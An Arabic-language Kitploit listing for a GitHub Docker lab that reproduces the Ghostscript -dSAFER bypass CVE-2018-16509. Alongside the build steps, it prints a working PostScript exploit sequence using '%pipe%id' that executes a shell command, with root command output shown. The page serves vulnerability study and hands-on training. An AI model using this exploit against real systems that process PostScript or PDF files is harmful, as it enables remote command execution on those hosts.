Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-16509 — CVE-2018-16509 Docker Playground - تنفيذ أوامر Ghostscript | Kitploit
أدوات/GitHubGitHub/rhpco/cve-2018-16509
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubrhpco/cve-2018-16509

CVE-2018-16509

CVE-2018-16509 Docker Playground - تنفيذ أوامر Ghostscript

عرض المستودع
112منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-16509 ملعب Docker

"تم اكتشاف مشكلة في Artifex Ghostscript قبل الإصدار 9.24. يمكن استخدام الفحص غير الصحيح لـ "استعادة الامتياز" أثناء معالجة استثناءات /invalidaccess من قبل المهاجمين القادرين على توفير PostScript مُصمم لتنفيذ التعليمات البرمجية باستخدام تعليمة "pipe"." https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509

بناء

root@kitploit:~
docker build -t cve-2018-16509:latest .

تشغيل + تنفيذ

root@kitploit:~
docker exec -it `docker run -d cve-2018-16509:latest` bash

الإصدار

root@kitploit:~
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.

الاستغلال

root@kitploit:~
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]#
تنزيل الأداة